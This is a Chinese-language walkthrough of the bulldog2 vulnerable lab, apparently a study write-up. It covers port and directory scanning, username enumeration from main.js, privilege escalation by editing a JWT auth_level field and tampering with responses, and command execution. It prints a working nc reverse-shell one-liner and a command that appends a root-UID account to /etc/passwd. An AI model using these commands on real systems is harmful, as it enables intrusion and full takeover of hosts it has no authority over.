实验环境
靶机:bulldog2
测试机:kali,win10
实验过程
信息收集
1.主机发现
靶机IP:192.168.238.149
2.端口扫描
只有80 端口
扫描服务,http开启的方法
3.目录扫描
没有什么有用的东西
4.漏洞发现
可以用searchsploit搜下nginx漏洞
页面发现登录和注册地址,尝试弱口令,爆破,万能密码,逻辑漏洞等
注册页面被限制
审查元素看一下,有无特殊路径,和前端源码
main.js文件中发现用户名遍历漏洞得到所有用户名
发现注册路径和关键参数
改包发送
登录成功
再注册一个查看是否存在越权
存在水平越权
登陆页面抓包重放,发现关键参数:“auth_level”:"standard_user"
回到main.js搜索关键字auth_level,发现管理员参数尝试垂直越权
https://jwt.io 解码
修改auth_level参数
利用bp修改回包
admin修改密码页面
尝试修改密码,将回报false改为true
提示登陆成功,但没什么效果
最后在github找源码发现命令执行漏洞
漏洞利用
反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1|nc 192.168.238.143 443 >/tmp/f
提权
etc/passwd文件权限配置不当
生成密码
perl -le ‘print crypt('pass','aa')’
将用户名密码追加到passwd下
echo 'abcd:aaW3cJZ7OSoQM:0:0:dirty:/root:/bin/bash '>> /etc/passwd
总结
在发现只有80端口时,除常规web漏洞,还有http的PUT方法需验证 ;
可以审查查元素,看特殊路劲,和前端源码,或在github上找下源码,
对漏洞发现有很大帮助;登录口,可以抓包看回包的关键参数 (true,false,fail,suess等)进行修改尝试逻辑漏洞;有注册,可以先注册个
账户 再尝试水平,垂直越权等;拿到shell先看一些关键配置文件